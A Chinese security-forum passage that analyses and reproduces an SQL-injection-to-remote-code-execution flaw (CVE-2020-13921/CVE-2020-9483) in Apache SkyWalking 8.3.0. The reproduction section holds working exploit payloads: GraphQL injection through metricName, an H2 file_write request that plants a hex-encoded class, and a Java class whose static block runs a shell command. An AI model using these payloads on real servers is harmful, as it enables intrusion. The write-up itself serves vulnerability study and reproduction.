问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
Apache Skywalking 远程代码执行漏洞(CVE-2020-13921、CVE-2020-9483)
漏洞分析
# 一、环境: 1、https://www.anquanke.com/post/id/231753 (参考文章地址) 2、https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(下载地址) 3、...
一、环境: ===== 1、<https://www.anquanke.com/post/id/231753> (参考文章地址) 2、[https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(下载地址](https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz(%E4%B8%8B%E8%BD%BD%E5%9C%B0%E5%9D%80)) 3、[https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7(源码编译教程](https://www.cnblogs.com/goWithHappy/p/build-dev-env-for-skywalking.html#1.%E4%BE%9D%E8%B5%96%E5%B7%A5%E5%85%B7(%E6%BA%90%E7%A0%81%E7%BC%96%E8%AF%91%E6%95%99%E7%A8%8B)) 4、[https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz(源码地址](https://www.apache.org/dyn/closer.cgi/skywalking/8.3.0/apache-skywalking-apm-8.3.0-src.tgz(%E6%BA%90%E7%A0%81%E5%9C%B0%E5%9D%80)) 5、[https://www.runoob.com/w3cnote/java-class-forname.html(Class.forName原理解析](https://www.runoob.com/w3cnote/java-class-forname.html(Class.forName%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90)) 6、远程调试机以及攻击机(win10)、服务端(ubuntu) 二、搭建 ==== 1、解压该文件 进入bin目录,如下 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2b15156348ad0a05e2d05bb91a9cd67bc54e5d36.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 2、Liunx启动`startup.sh`,windows启动`startup.bat` 3、启动后访问ip:8080(默认端口是8080,需要修改,可进入webapp目录下,修改webapp.yml),如下 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-3acde655f2591bcbc918f0b056ae62ea63fb852c.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 4、出现下图即成功启动 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c908efaf1824969ba7ce676196399a1dae5df9ad.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 三、分析过程 ====== 1、需先了解一下GraphQL流程以及查询语法的构造(这里我用自己的语言总结下,学的不是很深入) GraphQL主要分为4部分分别为: (1)`root.graphqls`(定义查询) (2)`AuthorQuery.java`(`GraphQLQueryResolver`) (3)`AuthorService.java`(`Service`) (4)实体类`Author`(实体类) 整体流程:首先需要根据`root.graphqls`构造符合请求格式的payload,然后通过`AuthorQuery.java`传递给`AuthorService.java`,最后`AuthorService.java`会调用实体类Author中的方法进行数据处理,然后返回结果。 注: `root.graphqls`是定义请求参数类型与格式的文件,例如下面两个句子 ```php type Author { id: Int! name: String photo: String } ``` 定义Author中返回数据的类型 ```php query{ findAuthorById(id:1){ id, name, photo } } ``` 定义query查询的格式,其中`findAuthorById`方法要与`AuthorQuery`中定义的方法一致,这样才能定位到`AuthorQuery`中。id:1是请求参数,id, name,photo是期望服务器的返回数据,可自行更改。注意上述两者可能在同一文件,也可能不在同一文件定义(一般是`root.graphqls`文件,如果不是的话,会有extend字段,要继承初始化的`root.graphql`,如下图)。 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f7ee91f022c0315a800f5ab22af173e3e3eaef32.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) `AuthorQuery`相当于是接口开关,里面会有这么一段代码,相当于开启`GraphQL`查询接口`public class AuthorQuery implements GraphQLQueryResolver AuthorService.java`复制对传进数据的处理,类似加减乘除运算一样 实体类Author(实体类)一般是进行赋值作用,即对传进的参数赋值给新变量 个人理解和都可以对数据进行操作,看代码放在哪里而已。 2、跟进`skywalking`代码 (1)开启调试(这里使用win10当调试机) 文章开头有教程,就是把源码下载解压之后,在`skywalking`目录下,直接使用以下命令 `./mvnw clean package –DskipTests` ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c7994634f36d367ea7021525f6a12d1e3616d3ed.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70)然后一直等待就好了,需要完全编译成功才行,过程一般会很久 (2)编译后的文件夹会多出一个target文件夹,如下 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-7e8b99f4376327290dac88b30d80c13973490d2a.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) (3)使用idea新建项目,选中该文件夹即可 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d6065da8eda2860449413df6bc0060d1ace7bd20.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) (4)点击idea下运行,编辑配置 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8dc36688da31e1e4760526d6acd63be21d4f515b.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70)![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f746dff0bda602f55957da7a7daba02c308fbb3f.png) 一开始进来是没有远程调试的,直接点击左上角+号,添加远程端口 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-c4f0d47c8b6f97a8fd24e16cd7b599fdf4298fc5.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 配置如下(其实主要是添加个远程主机地址和端口就可以了): ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-f8c7a42688cf79a0d54b5ed70c0f76fbc81e71f9.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) (5)在服务器端启动`skywalking`服务(记得,调试源码与你运行的源码版本需要一致,运行8.3就要下载8.3的源码去编译调试) 首先要在`apache-skywalking-apm-bin`的bin目录下编辑`oapService.sh`,添加远程调试命令,windows的就是编辑`oapService.bat`,如下 直接/CLASSPATH搜索即可 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6e878afb5a64c7b1ed8c267ddcdda48bf835e1e7.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 添加的命令就是上面图里的远程JVM的命令行参数,如下 -agentlib:jdwp=transport=dt\_socket,server=y,suspend=n,address=5006 (6)添加好了之后可以先直接运行`startup.sh`启动服务,然后再在需要的位置进行断点调试,不过我这边修改了`oapService.sh`之后,好像需要手动启动`./ oapService.sh`才能启动监听。如下,确定下端口服务都起来了 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-046af621ea96f092588a314dda642ea092c394e4.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) (7)然后回到win10的idea中,点击主页面右上角图标进行调试,出现下图即成功 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-fb82c44c65ab0a4059748304da88f2337f4da592.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 3、分析`skywalking`漏洞 根据原文章可知漏洞点在`oap-server\server-storage-plugin\storage-jdbc-hikaricp-plugin\src\main\java\org\apache\skywalking\oap\server\storage\plugin\jdbc\h2\dao\H2LogQueryDAO.java`文件中 (1)直接在该处断点 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e61974028a2ff63ee0344dd2ce9ca842842b5bb8.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) (2)开启调试,发送以下payload(payload构造下面会进行说明) ```php { "query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }", "variables": { "condition": { "metricName": "INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --", "endpointId":"1", "traceId":"1", "state":"ALL", "stateCode":"1", "paging":{ "pageNum": 1, "pageSize": 1, "needTotal": true } } } } ``` 可以看到`metricName` 原封不动的被带进sql参数中 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6fc3cf7dd5fafafb8c841377cf8b1817f12d279a.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 继续跟进sql,发现被带入`buildCountStatement` ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d8d104317c8e87e9ac3c6cc55644be2b2e87b5c4.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 跟进`buildCountStatement`,看看返回的结果 直接把我们的注入语句返回,然后使用`executeQuery`函数执行返回。 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-60a1c1166e455cf5f4af313cdfb3e706252e789c.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70)直接把我们的注入语句返回,然后使用executeQuery函数执行返回。 (3)回溯 回到一开始,我们的注入点是在`queryLogs`函数中 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-43e6d2a6eb9d975eee149efe9c678ec349759a36.png) 往上追,看看是谁调用它的,可以看到`\skywalking\oap-server\servercore\src\main\java\org\apache\skywalking\oap\server\core\query\LogQueryService.java中对queryLogs`进行了调用 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-fb7082ef9973e231299f0cdb4a999a8c5adc63bf.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70)但是还是看不到入口,所以还是需要继续往上追,一直到 `E:\skywalking\skywalking\oap-server\server-query-plugin\query-graphql-plugin\src\main\java\org\apache\skywalking\oap\query\graphql\resolver\LogQuery.java` ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4632bad99cd5f12732c04bd8a5b911c76d2d9a59.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70)可以看到一个熟悉的句子 `implements GraphQLQueryResolver` 实现`GraphQL`查询接口,所以我们可以直接构造`GraphQL`查询,发送至服务器 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-6a06fefd3c190f688700e6676153179f70262671.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 4、分析构造`payload` (1)前面说过`GraphQL`查询的整体流程,四个部分我们已经找到3个了。如下 `H2LogQueryDAO`、`LogQueryService`、`LogQuery` (2)现在要找的是`graphqls`文件,看看是怎么构造查询的 我先找了`root. Graphqls`,发现没有 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-36da1963a8779b46b4fd9942eac4d1ec9f360921.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 直接搜`graphqls`,也很好猜,log肯定是,有两个`log.graphqls`,其实都是一样的,随便选一个看看是不是。 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-847a28809ab92ba76742de3275ae1b8ee401efe5.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70)![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-2f074a05d7a2f1e4ae3c84c56e791bd8f7c8ee4a.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 看到`queLogs`函数,基本确定了。因为一般跟`LogQuery.java`文件中的函数会一致,过程中也不会存在其他同名函数,不然就找不到路径了 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-bf653bd64f1cc39f76eb01998b75eb09b35c7a12.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) (3)分析`log. graphqls` ###### 1、期待返回的参数,logs和total,后面是类型,有感叹号,表明为非空,就是必须有 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-96bd5a46332fe5fee3a68300b2368d1025fe1c56.png) ###### 2、Log匹配上面logs取值,上面的Log使用\[\]框柱,网上解析说是对象类型,非空的话,就只需要在Log里面随便取一个参数就可以 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-076a0298ea89affb7b72b7a51c52d5e90590590d.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) ###### 3、LogQueryCondition 看到input类型,就知道这里都是要我们提交的参数值,其中queryDuration参数可以不提交,可能是服务器那边会自动提交。(尝试提交会出错) ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-505e7dcab6d6508f76fa0dedb3e46fb70f7f6472.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) ###### 4、可以看看Duration类型的构造 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-06d26e654fe4497a777996c21c23bc646b4a9adf.png) ###### 5、enum表示后面的参数取值只能在它定义的值里面进行取值 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-5126129c80f602e89d7e4546a3ce0172e14c908d.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) (4)分析网上的payload ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b0204f90fe49aba70a941194f5a63433f5dc1028.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 自己的理解如下 ###### 1、首先使用query表明自己的动作是查询 ###### 2、后面跟的是自己定义的函数queryLogs,这个是可以随便起的 ###### 3、($condition: LogQueryCondition)中的$condition是定义的变量,LogQueryCondition这里是变量类型 ###### 4、logs: queryLogs(condition: $condition),其中logs:是queryLogs(condition: $condition)的别名,可要可不要,queryLogs(condition: $condition)才是开始请求的构造,对应log.graphqls部分如下 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-4bbb237fa4f96f09a251212d3aecdae1baea6af1.png) 这里的$condition对应我们上面创建的函数变量 ($condition: LogQueryCondition) 注意:LogQueryCondition类型已经在###### log.graphqls写死了,所以这里传进来的变量类型也只能是LogQueryCondition,而LogQueryCondition类型的构造在上面已经看过了。 ###### 5、接下来是data: logs,data:一样是别名,logs和下面的total都是期待服务器返回的数据,对应log.graphqls部分如下 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-5d919c4d6aa7ee799bbd2e58d685175829beb50c.png) 其中logs对应的Logs构造如下,因为是非空,所以从里面选中一个就行,或者全部写上。(每个参数使用空格隔开即可) ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e00a636da94c253fd1b8569cafb07158a141e730.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) ###### 6、variables,构造参数,此处对应的是LogQueryCondition类型的构造 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-b0d32ba29cfe316a80a1daa91c4e27fec08f02fc.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 总的来说:就是variables构造请求的类型值,也就是LogQueryCondition,然后传入queryLogs函数中,最后期待返回logs与total 还不懂就看下面的例子,自己去领悟吧 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-e5f2acef4d1b4146e8d699110cb91c914982eba4.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 最后condition带的参数metricName就存在注入点,之前已经调试过了 四、复现(此处用ubuntu进行复现) =================== 1、开启服务之前说过了 2、利用注入点上传class文件 上传前 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-410fd82613465ff3234c42ac2cad022b99fc5fed.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 上传后 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d7f8d5d3d1c83f6462c5457948d81be929aabffb.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 3、利用注入点执行class文件 执行前 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-562e370a487c9453c2435bc6611012d25ffbd5d0.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 执行后 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-79f48fb475eb32c50a84495463f8256a01ee3ab7.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 注:上传的class文件利用注入点执行一次之后即失效,需重新开启服务验证。 五、远程代码执行漏洞 ========== 1、根据漏洞文档:[https://mp.weixin.qq.com/s/hB-r523\_4cM0jZMBOt6Vhw](https://mp.weixin.qq.com/s/hB-r523_4cM0jZMBOt6Vhw) 可知h2数据库中存在函数file\_write(blobValue,fileNameString) 该函数作用将16进制数据写入文件中。 2、搭建本地H2数据库(下载地址: [https://h2database.com/h2-setup-2019-10-14.exe),直接双击安装即可](https://h2database.com/h2-setup-2019-10-14.exe),%E7%9B%B4%E6%8E%A5%E5%8F%8C%E5%87%BB%E5%AE%89%E8%A3%85%E5%8D%B3%E5%8F%AF) 启动h2数据库,如下图 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-76d26317c52aed01e42884efa20a011b0ee1b9e8.png) 3、使用file\_write验证可直接创建文件 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-445f373089e8dc29b56721561ffe1d29cd088fb5.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 4、根据以上编写简单class文件,如下 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-23e6223a110383da67669d674e4855745f5c9399.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 5、直接在h2中使用file\_read()函数转成16进制,如图 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-842fd788bea69bd2ce503a0af7aef97fc10b3ba3.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 6、使用以下payload直接提交 ```php POST /graphql HTTP/1.1 Host: 192.168.x.x:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: application/json, text/plain, */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/json;charset=utf-8 Content-Length: 2090 Origin: http://192.168.27.135:8080 Connection: close Referer: http://192.168.27.135:8080/ { "query": "query queryLogs($condition: LogQueryCondition) { logs: queryLogs(condition: $condition) { data: logs { serviceName serviceId serviceInstanceName serviceInstanceId endpointName endpointId traceId timestamp isError statusCode contentType content } total } }", "variables": { "condition": { "metricName": "INFORMATION_SCHEMA.USERS union all select file_write('cafebabe00000032002a0a000a00160a0017001807001908001a08001b0a0017001c0a001d001e07001f0700200700210100063c696e69743e010003282956010004436f646501000f4c696e654e756d6265725461626c650100046d61696e010016285b4c6a6176612f6c616e672f537472696e673b29560100083c636c696e69743e01000d537461636b4d61705461626c6507001f01000a536f7572636546696c6501000e546f75636846696c652e6a6176610c000b000c0700220c002300240100106a6176612f6c616e672f537472696e67010005746f75636801000f2f746d702f737563636573733132330c002500260700270c002800290100136a6176612f6c616e672f457863657074696f6e010009546f75636846696c650100106a6176612f6c616e672f4f626a6563740100116a6176612f6c616e672f52756e74696d6501000a67657452756e74696d6501001528294c6a6176612f6c616e672f52756e74696d653b01000465786563010028285b4c6a6176612f6c616e672f537472696e673b294c6a6176612f6c616e672f50726f636573733b0100116a6176612f6c616e672f50726f6365737301000777616974466f7201000328294900210009000a0000000000030001000b000c0001000d0000001d00010001000000052ab70001b100000001000e000000060001000000050009000f00100001000d000000190000000100000001b100000001000e0000000600010000001200080011000c0001000d000000680004000300000023b800024b05bd0003590312045359041205534c2a2bb600064d2cb6000757a700044bb100010000001e002100080002000e0000001e000700000008000400090013000a0019000b001e000e0021000c0022000f0012000000070002610700130000010014000000020015','TouchFile.class'))a where 1=? or 1=? or 1=? --", "endpointId":"1", "traceId":"1", "state":"ALL", "stateCode":"1", "paging":{ "pageNum": 1, "pageSize": 1, "needTotal": true } } } } ``` 7、服务器生成class文件如下 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-8439f2c795c7ea1aa1a5d2347e7d8cb632dbd47d.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 8、根据漏洞文档可知h2数据库中LINK\_SCHEMA函数会触发类加载行为,如下 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-93c5448cd07abed9ca40b43350a8629bc010232c.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 其中的loadUserClass函数会使用到Class.forName()去加载类 9、Class.forName()解析 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-d2a6f9539d02cc7803af5a8aaf49f61cf2a25c1b.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 返回一个给定类或者接口的一个 Class 对象,如果没有给定 classloader, 那么会使用根类加载器。如果 initalize 这个参数传了 true,那么给定的类如果之前没有被初始化过,那么会被初始化。 10、再看看loadUserClass怎么使用Class.forName()的 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-75937e467652ca6d3b42306981498296108370df.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 可以看到initalize 为true,也就是说,当第一次使用这个类的时候,会进行初始化 11、初始化的重点在于类当中的静态代码块会被执行,所以我们把代码写进static块让它执行 ![在这里插入图片描述](https://shs3.b.qianxin.com/attack_forum/2021/12/attach-df2f5c867e720178297dcdce4acf921c7cd0b8f8.watermark%2Ctype_zmfuz3pozw5nagvpdgk%2Cshadow_10%2Ctext_ahr0chm6ly9ibg9nlmnzzg4ubmv0l3dlaxhpbl80mtm4mty1ma%3D%3D%2Csize_16%2Ccolor_ffffff%2Ct_70) 代码如下 ```php javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/success123"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } public static void main(String args[]) { } } ``` 注:文件名要与class名称一致,不然生成类时会报错 12、生成恶意类 `javac 